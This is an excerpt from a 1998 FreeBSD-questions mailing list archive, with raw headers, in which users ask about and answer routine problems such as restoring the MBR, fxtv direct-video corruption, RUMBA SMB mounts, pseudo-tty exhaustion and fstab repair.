<352A2893.C77FC29C@tdx.co.uk> Date: Tue, 07 Apr 1998 14:22:27 +0100 From: Karl Pielorz Organization: TDX X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: Robert Jackson CC: freebsd-questions@FreeBSD.ORG Subject: Re: removing boot manager? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Boot from a DOS / Windows '95 boot-disk and then run: fdisk /mbr It will re-write the original Master Boot Record... I think that should fix it... ;-) Kp Robert Jackson wrote: > > Is there an easy way to remove the boot manager? I installed FreeBSD on > a computer at work, now I found I needed the space. So I deleted my > freeBSD installation. Now I need to remove the boot manager so I don't > hang at the prompt each time I boot... Anyone know how to do this? > > Robert Jackson > d055633c@dc.seflin.org > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 06:37:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA25308 for freebsd-questions-outgoing; Tue, 7 Apr 1998 06:37:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from whqvax.picker.com (whqvax.picker.com [144.54.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id GAA25302; Tue, 7 Apr 1998 06:37:43 -0700 (PDT) (envelope-from rhh@ct.picker.com) Received: from ct.picker.com by whqvax.picker.com with SMTP; Tue, 7 Apr 1998 9:37:13 -0400 (EDT) Received: from elmer.ct.picker.com by ct.picker.com (4.1/SMI-4.1) id AA07514; Tue, 7 Apr 98 09:37:11 EDT Received: by elmer.ct.picker.com (SMI-8.6/SMI-SVR4) id JAA07629; Tue, 7 Apr 1998 09:36:52 -0400 Message-Id: <19980407093652.31657@ct.picker.com> Date: Tue, 7 Apr 1998 09:36:52 -0400 From: Randall Hopper To: Donald Burr , FreeBSD Questions Cc: FreeBSD Hardware , multimedia@FreeBSD.ORG Subject: Re: BrookTree 848 causing my screen to get messed up, how to fix? Mail-Followup-To: Donald Burr , FreeBSD Questions , FreeBSD Hardware , multimedia@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: ; from Donald Burr on Mon, Apr 06, 1998 at 10:39:05AM -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Donald Burr: |I just acquired a BrookTree 848 based TV capture card. It appears to be a ... |In any case, I got the driver compiled, and the fxtv port compiled and |working. I can successfully view the TV tuner output in a window on my |screen. | |However, when that window is visible (i.e. not hidden behind any other |windows), it causes the rest of my screen to become garbled, so that |all windows (xterms, my Netscape browser, etc.) become virtually |unreadable. | |If the window is hidden behind another, nothing gets garbled. Right. If you run "fxtv -disableDirectV" or put "*disableDirectV: true" in your Fxtv resource file or .Xdefaults, you'll not have this problem when its on top either. However that's the fall-back plan. You'd prefer for direct video to work if possible. When the window is on top, fxtv configures the capture card to write directly to your frame buffer directly rather than through X (very fast and low overhead). Works great as long as Fxtv can determine your frame buffer memory aperature's geometry from the X server. If you're running in a 24 or 32 bits-per-pixel video mode, here are some things to try to get your direct video configured up correctly: fxtv -colorbars -xrm "Fxtv.Bpp24bit: 3" fxtv -colorbars -xrm "Fxtv.Bpp24bit: 4" fxtv -colorbars -xrm "Fxtv.Bpp32bit: 3" fxtv -colorbars -xrm "Fxtv.Bpp32bit: 4" See if one of these doesn't get the TV all inside the window. If you find one that works, insert it into your Fxtv resource file or .Xdefaults. However given that you have a 2Meg video card as you said, I suspect you're probably running 16-bit in which case these don't help you. If so, this is an indication that the X server drivers for your card aren't returning the correct frame buffer memory aperture geometry for it, and disabling direct video is your best course of action for now. Higher CPU utilization and slower frame rates, but you won't get screen corruption. I'll be happy to help you trace this down. Let me know what you find out, and send me the output of "fxtv -debug startup" and "xdpyinfo". We can determine if this is the X server's fault or not, and if so, you can flip in a bug report to XFree. |The same thing happens when I use the Windows software that came with the |card. Hmm. Sounds like the Windoze Direct* drivers are confused about your frame buffer geometry as well. Randall Hopper To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 06:47:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA27009 for freebsd-questions-outgoing; Tue, 7 Apr 1998 06:47:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dc.seflin.org (d055633c@dc.seflin.org [199.227.192.38]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id GAA26994 for ; Tue, 7 Apr 1998 06:47:29 -0700 (PDT) (envelope-from d055633c@dc.seflin.org) Received: (from d055633c@localhost) by dc.seflin.org (8.6.12/8.6.12) id JAA29900; Tue, 7 Apr 1998 09:47:14 -0400 Date: Tue, 7 Apr 1998 09:47:13 -0400 (EDT) From: Robert Jackson Subject: Re: removing boot manager? To: Karl Pielorz cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <352A2893.C77FC29C@tdx.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Karl Pielorz wrote: > Boot from a DOS / Windows '95 boot-disk and then run: > > fdisk /mbr > > It will re-write the original Master Boot Record... I think that should fix > it... ;-) > > Kp > > Robert Jackson wrote: > > > > Is there an easy way to remove the boot manager? I installed FreeBSD on > > a computer at work, now I found I needed the space. So I deleted my > > freeBSD installation. Now I need to remove the boot manager so I don't > > hang at the prompt each time I boot... Anyone know how to do this? > > > > Robert Jackson > > d055633c@dc.seflin.org > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > Thanks a lot! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 06:57:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA28042 for freebsd-questions-outgoing; Tue, 7 Apr 1998 06:57:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.insolwwb.net (root@ns.insolwwb.net [206.31.149.200]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA28035 for ; Tue, 7 Apr 1998 06:57:38 -0700 (PDT) (envelope-from mgrommet@insolwwb.net) Received: from work1.insolwwb.net (work1.insolwwb.net [206.31.148.2]) by ns.insolwwb.net (8.8.7/8.7.3) with SMTP id IAA09649 for ; Tue, 7 Apr 1998 08:54:40 -0500 (CDT) Message-ID: <000a01bd6291$f02b6e40$02941fce@work1.insolwwb.net> From: "Mike Grommet" To: Subject: Help with RUMBA please Date: Tue, 7 Apr 1998 20:59:17 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi guys... Trying to get rumba to mount a directory on an nt server here, and here is basically what I type ./rumba //isint/html /mnt -U me -P mypass Kernel: smb_receive_raw: Invalid packet 0x83 Kernel: smb_receive: receive error: -5 Kernel: smb_proc_connect: Failed to send SESSION REQUEST. error connecting to server: [5] Input/output error Whats up? It seems so close ;) Mike Grommet System Admin, and all around nice guy Internet Solutions, Inc. mgrommet@insolwwb.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 07:02:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA28839 for freebsd-questions-outgoing; Tue, 7 Apr 1998 07:02:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from buffnet4.buffnet.net (buffnet4.buffnet.net [205.246.19.13]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA28833 for ; Tue, 7 Apr 1998 07:02:24 -0700 (PDT) (envelope-from shovey@buffnet.net) Received: from buffnet11.buffnet.net (buffnet11.buffnet.net [205.246.19.55]) by buffnet4.buffnet.net (8.7.5/8.7.3) with SMTP id JAA29626; Tue, 7 Apr 1998 09:55:15 -0400 (EDT) Date: Tue, 7 Apr 1998 09:55:15 -0400 (EDT) From: Steve Hovey To: Mike Grommet cc: freebsd-questions@FreeBSD.ORG Subject: Re: Help with RUMBA please In-Reply-To: <000a01bd6291$f02b6e40$02941fce@work1.insolwwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is your freebsd set to only accept connect requests from reserved ports maybe? Or could you maybe need to run pcnfsd stuff? On Tue, 7 Apr 1998, Mike Grommet wrote: > Hi guys... > > Trying to get rumba to mount a directory on an nt server here, and here is > basically what I type > > ./rumba //isint/html /mnt -U me -P mypass > > Kernel: smb_receive_raw: Invalid packet 0x83 > Kernel: smb_receive: receive error: -5 > Kernel: smb_proc_connect: Failed to send SESSION REQUEST. > error connecting to server: [5] Input/output error > > > Whats up? > It seems so close ;) > > Mike Grommet > System Admin, and all around nice guy > Internet Solutions, Inc. > mgrommet@insolwwb.net > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > ------------------------------------------------------------------ Steve Hovey Chief Engineer BuffNET More Than Just a Connection! ------------------------------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 07:04:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA29296 for freebsd-questions-outgoing; Tue, 7 Apr 1998 07:04:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server.pyrenet.fr (root@server.pyrenet.fr [194.250.190.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA29288 for ; Tue, 7 Apr 1998 07:04:49 -0700 (PDT) (envelope-from l.mahe.twam@pyrenet.fr) Received: from pyrenet.fr (modem148.pyrenet.fr [194.250.190.148]) by server.pyrenet.fr (8.8.8/8.8.8) with ESMTP id OAA28334 for ; Tue, 7 Apr 1998 14:04:35 GMT Message-ID: <352A32BA.E014DB29@pyrenet.fr> Date: Tue, 07 Apr 1998 16:05:47 +0200 From: "Loïc Mahé" Organization: TWAM Informatique X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.2-RELEASE i386) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: [QUESTION] Driver for HP Colorado ? Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, Working with FreeBSD 2.2.2 on a Pentium, I would like to know if a driver for the HP Colorado (5 GB) saving tool is available. Thanks in advance. Loic -- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + TWAM Informatique 18 av. Charles de Gaulle, 31138 Balma cedex tel.(fax) : 05-61-24-65-66 (66-30) l.mahe.twam@pyrenet.fr On ne trébuche pas deux fois sur la même pierre (proverbe oriental). En principe ... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 07:45:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA03856 for freebsd-questions-outgoing; Tue, 7 Apr 1998 07:45:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from avrasya.ispro.net.tr (avrasya.ispro.net.tr [195.174.18.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA03850 for ; Tue, 7 Apr 1998 07:45:36 -0700 (PDT) (envelope-from yurtesen@ispro.net.tr) Received: from localhost (yurtesen@localhost) by avrasya.ispro.net.tr (8.8.6/8.7.3) with SMTP id RAA21078 for ; Tue, 7 Apr 1998 17:55:55 +0300 Date: Tue, 7 Apr 1998 17:55:55 +0300 (EET DST) From: Evren Yurtesen To: freebsd-questions@FreeBSD.ORG Subject: telnet problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hello after I open 3 telnet sessions to my server it says telnetd: All network ports in use. and when I use w command I get this USER TTY FROM LOGIN@ IDLE WHAT yurtesen p0 195.174.18.19 1:04AM 27 -su (tcsh) yurtesen p2 195.174.18.19 2:50AM - w yurtesen p3 195.174.18.19 2:50AM 1 -tcsh (tcsh) it just uses ttyp0 ttyp2 ttyp3 it neveruses ttyp1 and others what is wrong??? thank you! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 08:27:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA09083 for freebsd-questions-outgoing; Tue, 7 Apr 1998 08:27:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alcatel.fr (news.alcatel.fr [194.133.58.131]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA09071 for ; Tue, 7 Apr 1998 08:27:43 -0700 (PDT) (envelope-from THIERRY.HERBELOT@telspace.alcatel.fr) From: THIERRY.HERBELOT@telspace.alcatel.fr Received: from alcatel.fr (gatekeeper-ssn.alcatel.fr [155.132.180.244]) by mailgate.alcatel.fr (ALCANET/SMTP.9.9.9) with ESMTP id RAA30374; Tue, 7 Apr 1998 17:31:16 +0200 Received: from aifhs1.alcatel.fr (aifhs1.alcatel.fr [155.132.180.86]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id RAA08254; Tue, 7 Apr 1998 17:22:33 +0200 (MET DST) Received: from aifhs2.alcatel.fr (localhost [127.0.0.1]) by aifhs1.alcatel.fr (8.8.8/8.8.8) with ESMTP id RAA29146; Tue, 7 Apr 1998 17:24:35 +0200 (MET DST) Received: from lune.telspace.alcatel.fr (lune.telspace.alcatel.fr [155.132.144.65]) by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id RAA08233; Tue, 7 Apr 1998 17:22:30 +0200 (MET DST) Received: from telss1 (telss1.telspace.alcatel.fr [155.132.51.4]) by lune.telspace.alcatel.fr (8.7.6/8.7.3) with SMTP id RAA26757; Tue, 7 Apr 1998 17:27:27 +0200 (MET DST) Received: from eole.telspace.alcatel.fr by telss1 (4.1/SMI-4.1) id AA12893; Tue, 7 Apr 98 17:17:49 +0200 Received: from localhost by eole.telspace.alcatel.fr with SMTP (1.40.112.12/16.2) id AA033512122; Tue, 7 Apr 1998 17:15:22 +0200 X-Openmail-Hops: 1 Date: Tue, 7 Apr 98 17:15:04 +0200 Message-Id: In-Reply-To: Subject: =?ISO-8859-1?Q?R=E9p_:_telnet_problem?= Mime-Version: 1.0 To: yurtesen@ispro.net.tr Cc: freebsd-questions@FreeBSD.ORG Content-Type: text/plain; charset=ISO-8859-1; name="telnet" Content-Disposition: inline; filename="telnet" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id IAA09072 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Bonjour, just a hint : what gives "ls -l /dev/ttyp*" (how many pseudo-ttys do you have configured ?) good luck ____________________________ Séparateur Réponse ________________________________ Objet : telnet problem Auteur : yurtesen@ispro.net.tr Date : 07/04/98 16:55 hello after I open 3 telnet sessions to my server it says telnetd: All network ports in use. and when I use w command I get this USER TTY FROM LOGIN@ IDLE WHAT yurtesen p0 195.174.18.19 1:04AM 27 -su (tcsh) yurtesen p2 195.174.18.19 2:50AM - w yurtesen p3 195.174.18.19 2:50AM 1 -tcsh (tcsh) it just uses ttyp0 ttyp2 ttyp3 it neveruses ttyp1 and others what is wrong??? thank you! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 08:44:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA10832 for freebsd-questions-outgoing; Tue, 7 Apr 1998 08:44:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from cplkagan.globaleyes.net (cplkagan.midwest.net [208.235.2.205]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA10819 for ; Tue, 7 Apr 1998 08:43:45 -0700 (PDT) (envelope-from parrothd@midwest.net) Received: from parrothd.houselan.net (parrothd [10.10.0.10]) by cplkagan.globaleyes.net (8.8.7/8.8.5) with SMTP id KAA06396; Tue, 7 Apr 1998 10:43:46 -0500 (CDT) Message-Id: <3.0.5.32.19980407105339.00836730@midwest.net> X-Sender: parrothd@midwest.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Tue, 07 Apr 1998 10:53:39 -0500 To: Steve Hovey , Mike Grommet From: "Jonathan E. Lyons" Subject: Re: Help with RUMBA please Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: References: <000a01bd6291$f02b6e40$02941fce@work1.insolwwb.net> Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Are you sure that isint resolves??!?!...Try pinging isint and see what happends...You may need to add that to your /etc/hosts file.. At 09:55 AM 4/7/98 -0400, Steve Hovey wrote: > > >Is your freebsd set to only accept connect requests from reserved ports >maybe? Or could you maybe need to run pcnfsd stuff? > >On Tue, 7 Apr 1998, Mike Grommet wrote: > >> Hi guys... >> >> Trying to get rumba to mount a directory on an nt server here, and here is >> basically what I type >> >> ./rumba //isint/html /mnt -U me -P mypass >> >> Kernel: smb_receive_raw: Invalid packet 0x83 >> Kernel: smb_receive: receive error: -5 >> Kernel: smb_proc_connect: Failed to send SESSION REQUEST. >> error connecting to server: [5] Input/output error >> >> >> Whats up? >> It seems so close ;) >> >> Mike Grommet >> System Admin, and all around nice guy >> Internet Solutions, Inc. >> mgrommet@insolwwb.net >> >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-questions" in the body of the message >> > >------------------------------------------------------------------ >Steve Hovey >Chief Engineer >BuffNET More Than Just a Connection! >------------------------------------------------------------------ > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > The beer is too cold, the daiquiris too fruitful, there's no place like home! Jimmy Buffett "The weather is here, Wish you were beautiful" Jon Lyons parrothd@midwest.net 87 HONDA VFR700 http://cplkagan.dyn.ml.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 09:00:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA12330 for freebsd-questions-outgoing; Tue, 7 Apr 1998 09:00:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA12259 for ; Tue, 7 Apr 1998 08:59:54 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id MAA03669; Tue, 7 Apr 1998 12:04:15 -0400 (EDT) Date: Tue, 7 Apr 1998 12:04:15 -0400 (EDT) From: "Stephen A. Derdau" To: sderdau@xtdl.com cc: freebsd-questions@FreeBSD.ORG Subject: /dev/wd0a 2.2.6 stable Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ***** Thank You for all your help : Doug White Greg Lehey ****************************************** Well I finally got it right. MAYBE THIS INFO will help someone else. I rebuilt a kernel and did not do make world. However, I got the kernel to work finally. Until I got the fstab right I could not boot the new kernel. Anyways when I was unsuccessfull booting the new kernel I had to reboot boot **** kernel.old ****** still had a problem with fstab. had to mount -o rw -u /dev/wd0a / mount -a -t ufs swapon -a cd /etc and vi fstab Things just didn't work no matter what I did /dev/wd0s1a ...wd0s2a etc. Until I went to /dev/ did: sh MAKEDEV wd0s2a changed the /etc/fstab to : Device Mountpoint FStype Options Dump Pass# /dev/wd0s2a / ufs rw 1 1 And rebooted. Well what do you expect for a newbie. ! However all is working fine now... If this info can help anyone else I'll be happy. One day I plan on contributing to FreeBSD Project. Maybe just log my experiences.. :-) **** Thanks to all who helped me with other questions from 04/06/98 *** *********************************************************************** Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 09:36:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA16185 for freebsd-questions-outgoing; Tue, 7 Apr 1998 09:36:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from squirrel.tgsoft.com (cx20270-a.pwy1.sdca.home.com [24.0.169.3]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA16167 for ; Tue, 7 Apr 1998 09:36:46 -0700 (PDT) (envelope-from thompson@tgsoft.com) Received: (qmail 4263 invoked by uid 128); 7 Apr 1998 16:36:45 -0000 Date: 7 Apr 1998 16:36:45 -0000 Message-ID: <19980407163645.4262.qmail@squirrel.tgsoft.com> From: mark thompson To: questions@FreeBSD.ORG Subject: pcmcia scsi adaptors Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A cursory search of the web site -- NB: jkh, how about an obvious place on the web page to find out what HARDWARE is supported? -- fails to turn up any mention of pcmcia SCSI cards. I am considering the 1450 and 1460. Do they work with -STABLE, how about with the PAO kit? -mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 09:57:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA19317 for freebsd-questions-outgoing; Tue, 7 Apr 1998 09:57:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA19289 for ; Tue, 7 Apr 1998 09:57:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id JAA26549; Tue, 7 Apr 1998 09:57:33 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 09:57:33 -0700 (PDT) From: Doug White Reply-To: Doug White To: Doug Jolley cc: questions@FreeBSD.ORG Subject: Re: mail In-Reply-To: <199804070002.RAA13003@srv01.bigwheel.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Doug Jolley wrote: > > >I don't know if the default mail program is that smart. Pine can do it > >although you have to enable the option. > > Apparently it isn't or someone would have clued me in by now. > If anyone knows of an alternative to mail(1) that is that smart, > I'd love to know about it. It's a rather important feature to > me. Thanks for the input. I don't know how you do it! I use Pine. Although you have to enable it, I can hit `|' to pipe a message through a program. Doing authorizations for Majordomo? Piping messages through `approve' is the easy way of mass producing things. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 09:59:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA19829 for freebsd-questions-outgoing; Tue, 7 Apr 1998 09:59:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from post.mail.demon.net (post-20.mail.demon.net [194.217.242.27]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id JAA19750 for ; Tue, 7 Apr 1998 09:59:13 -0700 (PDT) (envelope-from tony@panic.org) Received: from bob51.support.demon.net ([194.217.150.120]) by post.mail.demon.net id aa2000519; 7 Apr 98 16:42 GMT Message-ID: <352A5774.FFBE202F@panic.org> Date: Tue, 07 Apr 1998 17:42:28 +0100 From: Tony Dunn-Lowes X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Sendmail Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I run a fairly small, private host with FreeBSD 2.2.5 and have a few subdomains setup for websites. I want to use the subdomains for mail too but am unsure what I need to do to achieve this. Basically I want any mail addressed to a username at the particular subdomain to be delivered to the user who 'owns' the subdomain. any ideas ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 10:12:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA22027 for freebsd-questions-outgoing; Tue, 7 Apr 1998 10:12:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bigbrother (bigbrother.rstcorp.com [206.29.49.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA21948 for ; Tue, 7 Apr 1998 10:12:46 -0700 (PDT) (envelope-from vshah@rstcorp.com) Received: (from uucp@localhost) by bigbrother (8.6.12/8.6.9) id OAA26100; Tue, 7 Apr 1998 14:01:58 -0400 Received: from fault.rstcorp.com(206.29.49.18) by bigbrother.rstcorp.com via smap (V2.0) id xma026097; Tue, 7 Apr 98 14:01:35 -0400 Received: (from vshah@localhost) by rstcorp.com (8.8.1/8.8.1) id NAA05757; Tue, 7 Apr 1998 13:11:04 -0400 (EDT) Date: Tue, 7 Apr 1998 13:11:04 -0400 (EDT) Message-Id: <199804071711.NAA05757@rstcorp.com> From: "Viren R. Shah" To: "Michael P. Sale" Cc: Subject: Re: Re:newbie ppp question. In-Reply-To: <01bd61c3$9f505180$3206bccc@708644668> References: <01bd61c3$9f505180$3206bccc@708644668> X-Mailer: VM 6.40 under 19.16 "Lille" XEmacs Lucid Reply-To: "Viren R. Shah" X-Face: )~y+U*K:yzjz{q<5lzpI_SVef'U.])9g[C9`1N@]u3,MHY7f*l7C)[_NjM4y4K8$uIUh|\u (K&&HS6,M!61&GMTk'mqmB/Qg]]X}"?TzsFl]"2v!bl8']dma.:^IY^a[lbOI>U:b<~FyK3q-p{HmZ mn~g.`~BE!5{2D:}Yi+\_KkWe?XaHj9$ko1k8iKLYv5*_2c8"G=?Up[}hn+7RNM(bzBZ_wWk6!Pf&B ?3Tcm7M7B~W%K/I0aX3]*=jP?aM]H6HBPT`oLk+0n^_;N\2\%|Rhy;p}34Q.jEsM\qtnxcm;ag%Nq Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Michael" == Michael P Sale writes: Michael> Viren, Michael> As usual, not enough information was given by the newbie. Michael> No, I'm not sure I have everthing set up correctly. :-) The Michael> modem is a SupraExpress 33.6 external hooked up to a serial Michael> port. Ok, if it is external: 1. Make sure the COM port it is hooked up to is enabled. 2. Make sure that FreeBSD detects the required serial port (COM1 = sio0, and COM2 = sio1) 3. If you are dual-booting your computer with Windows, does it work under Windows? I can't think of anything else. Maybe someone else on the lists can help you. Viren -- Viren R. Shah, {viren @ rstcorp . com} http://www.rstcorp.com/~vshah/ ====== FreeBSD: It's free, it's fast, it's fun. ====== "3 syncs represent the trinity - init, the child and the eternal zombie process." -- Jordan Hubbard To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 10:26:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA23998 for freebsd-questions-outgoing; Tue, 7 Apr 1998 10:26:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bglobal.com (mail@fw-sf-01.bglobal.com [199.99.86.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA23980 for ; Tue, 7 Apr 1998 10:26:16 -0700 (PDT) (envelope-from Diana.Roman@bglobal.com) Received: from comm_sf_01.wfnia.com (comm-sf-01 [177.9.141.41]) by bglobal.com (8.8.5/8.7.3) with ESMTP id KAA17526 for ; Tue, 7 